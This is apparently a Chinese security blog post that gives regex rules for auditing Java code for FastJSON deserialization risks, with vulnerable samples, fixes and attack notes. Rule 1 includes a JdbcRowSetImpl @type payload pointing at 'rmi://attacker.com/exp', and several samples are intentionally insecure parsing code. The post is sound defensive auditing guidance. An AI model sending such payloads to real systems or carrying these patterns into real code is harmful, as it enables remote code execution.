全网最全!FastJSON 静态规则图鉴,写了就能查!

全网最全!FastJSON 静态规则图鉴,写了就能查!

🧠 FastJSON 静态代码分析规则大全

🎯 在审计时如何快速定位关键位置,可以使用下面的正则来查询,适用于 Java 代码安全审计场景,辅助你快速检测


✅ 1:检测是否显式开启 AutoType

🎯 正则

 ParserConfig\.getGlobalInstance\(\)\.setAutoTypeSupport\s*\(\s*true\s*\)
描述显式开启 AutoType,FastJSON 将允许任意类的反序列化
危害攻击者可传入 @type 加载任意类,
TemplatesImpl 执行命令
建议永远不要设置为 true,并增加 addDeny 白名单限制

📜 示例代码

 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
 String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"rmi://attacker.com/exp\",\"autoCommit\":true}"; 
//传入的Json数据
 Object obj = JSON.parse(json);

❗ 漏洞解释

开启 AutoType 后,攻击者可使用 @type 指定任意类,加载 Gadget 对象执行命令。如 JdbcRowSetImpl 自动连接外部 JNDI。

🛠 修复建议

  • 禁止使用 setAutoTypeSupport(true)
  • 配合 addDeny() 明确封禁危险类

💥 攻击方式

  • 远程命令执行(JNDI 注入、BCEL 等类加载)

✅ 规则 2:宽松的全局类白名单

🎯 正则

 ParserConfig\.getGlobalInstance\(\)\.addAccept\s*\(\s*".*"\s*\)
描述放开某个包前缀的类名白名单限制
危害攻击者可以构造这个包下的 Gadget 类,导致远程代码执行
建议严格限制白名单类(建议不放开通配符,仅允许特定类)

📜 示例代码

 ParserConfig.getGlobalInstance().addAccept("com.example.");

❗ 漏洞解释

com.example 包中存在如 com.example.TemplateExploit 实现了危险接口,攻击者可指定该类执行逻辑。

🛠 修复建议

  • 精确到类名添加白名单,禁止通配符或包级别放行
  • 建议白名单在无攻击面的类中设定(如 DTO)

💥 攻击方式

  • 上传恶意类或利用现有类构造执行链

✅ 规则 3:使用 JSON.parse() 接收外部输入

🎯 正则

 JSON\.parse\s*\(\s*.*request.*\)
 JSON\.parse\s*\(\s*.*getParameter.*\)
描述未指定目标类型的解析方式,会尝试识别 @type 类型注入
危害容易被用作反序列化入口,配合 Gadget 可远程执行
建议使用 parseObject(json, Class) 明确目标类以限制行为

📜 示例代码

 String json = request.getParameter("data");
 Object obj = JSON.parse(json);

❗ 漏洞解释

JSON.parse() 未指定目标类,默认开启自动类型识别,允许传入 @type 段,反序列化任意对象。

🛠 修复建议

  • 改为 JSON.parseObject(json, SafeClass.class)
  • 或使用 ObjectMapper 替代,限制模型

💥 攻击方式

  • 利用 @type 注入构造 Gadget
  • 结合通用类(TemplatesImpl、JdbcRowSetImpl)命令执行

✅ 规则 4:反序列化数据后又调用 JSON.parse

🎯 正则

 JSON\.parse\s*\(\s*JSON\.parse.*\)
描述JSON 解析两次,攻击者可以构造嵌套类型绕过第一层
危害可绕过过滤、二次打链,常见于复杂 JSON 的接收逻辑
建议禁止二次反序列化,应解析后立即绑定类处理

📜 示例代码

 String rawJson = request.getParameter("payload");
 String innerJson = (String) JSON.parse(rawJson);
 Object obj = JSON.parse(innerJson);

❗ 漏洞解释

攻击者可构造两层嵌套 JSON,例如首层包裹恶意对象,绕过第一层检查,第二层触发执行。

🛠 修复建议

  • 禁止嵌套 JSON 的自动解析
  • 业务层拆解后手动处理字段

💥 攻击方式

  • 绕过 WAF 或白名单
  • 二次触发执行链

✅ 规则 5:Controller 层使用 Object 接收 JSON

🎯 正则

 public .*Controller.*\(.*@RequestBody\s+Object\s+\w+.*\)
描述接口参数类型过泛,FastJSON 会自动类型推断
危害攻击者传入恶意 @type 可导致构造危险对象
建议接口层必须明确声明数据模型类,
不允许使用 Object 接收外部数据

📜 示例代码

 @PostMapping("/api/parse")
 public void parseJson(@RequestBody Object data) {
     log.info(data.toString());
 }

❗ 漏洞解释

未指定数据模型,FastJSON 会使用默认解析器,支持 @type 注入,触发反序列化。

🛠 修复建议

  • 明确指定 POJO 类型,拒绝使用 Object
  • 加入全局反序列化校验(如白名单过滤器)

💥 攻击方式

  • 利用 FastJSON 自动识别执行恶意类型

触发FastJSON的具体原理分析 👉 Spring MVC + FastJSON:反序列化攻击是怎么一步步发生的?-极客星球


✅ 规则 6:反序列化对象未进行安全校验即转发/写入中间件

🎯 正则

 JSON\.parse.*(Kafka|Redis|Rabbit|HttpClient)
描述反序列化对象未进行类型/数据校验即被发送至其他系统
危害可导致其他服务或中间件触发反序列化
建议所有接收/处理反序列化对象的组件需
增加前置校验(白名单 + 校验签名)

📜 示例代码

 String json = request.getParameter("payload");
 Object data = JSON.parse(json);
 kafkaTemplate.send("topic", data);

❗ 漏洞解释

未经校验的数据被写入中间件,可能在消费端触发危险类实例化。

🛠 修复建议

  • 严格校验数据模型结构
  • 禁止转发任意 Object 到 MQ、缓存等

💥 攻击方式

  • 延迟执行,利用 Kafka、Redis 消费端打点

具体实例分析 👉 FastJSON + MQ 实现反序列化漏洞攻击链-极客星球


✅ 规则 7:项目中引用了高危依赖组件

🎯 正则

可结合 Maven 项目依赖分析:

 Windows: mvn dependency:tree | findstr "commons-collections bcel groovy rhino xalan spring-core"
 ​
 Linux: mvn dependency:tree | grep -E "commons-collections|bcel|groovy|rhino|xalan|spring-core"
描述项目中引入了 Gadget 链中常见的高危组件
危害即使 FastJSON 安全,只要解析到了这些类,
也可能执行命令
建议替换或升级依赖版本,移除非必要组件,
配合类黑名单限制反序列化类加载

📜 查询示例

图片[1]-全网最全!FastJSON 静态规则图鉴,写了就能查!-极客星球

❗ 漏洞解释

攻击者利用 FastJSON 加载这些类触发反射逻辑(如 InvokerTransformer),构造完整 Gadget 链。

🛠 修复建议

  • 移除不必要组件,升级至无 Gadget 版本
  • 搭配 addDeny() 限制危险类

💥 攻击方式

  • 利用 CC 链、Xalan、Groovy 等执行表达式

✅ 规则 8:调用 addDeny() 黑名单设置不完整

🎯 正则

 ParserConfig\.getGlobalInstance\(\)\.addDeny\s*\(\s*".*"\s*\)
描述开发者手动设置了黑名单,但名单不完整或有误
危害攻击者可以绕过限制,加载未封禁的危险类
建议使用 FastJSON 官方默认黑名单,并结合实际情况补充

📜 示例代码

 ParserConfig.getGlobalInstance().addDeny("org.apache.commons.collections.");

❗ 漏洞解释

虽然加入了部分黑名单,但若缺少如 org.apache.xalan., com.sun.org.apache.xalan. 等路径,依旧可能被绕过。

🛠 修复建议

  • 使用 FastJSON 内置的完整黑名单
  • 并根据业务需求添加其他内容

💥 攻击方式

  • 利用绕过类路径调用旧链

📌 总结

维度建议
接口设计不使用 Object 接收,避免泛解析
配置项不开启 autoTypeSupport,合理使用 addDeny()
依赖管理移除高危类链组件(如 CC、Xalan)
审计辅助配合 SAST + 黑盒测试验证 Gadget 是否可控
运维层面使用安全网关过滤 @type 字段及 JNDI 字符串

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容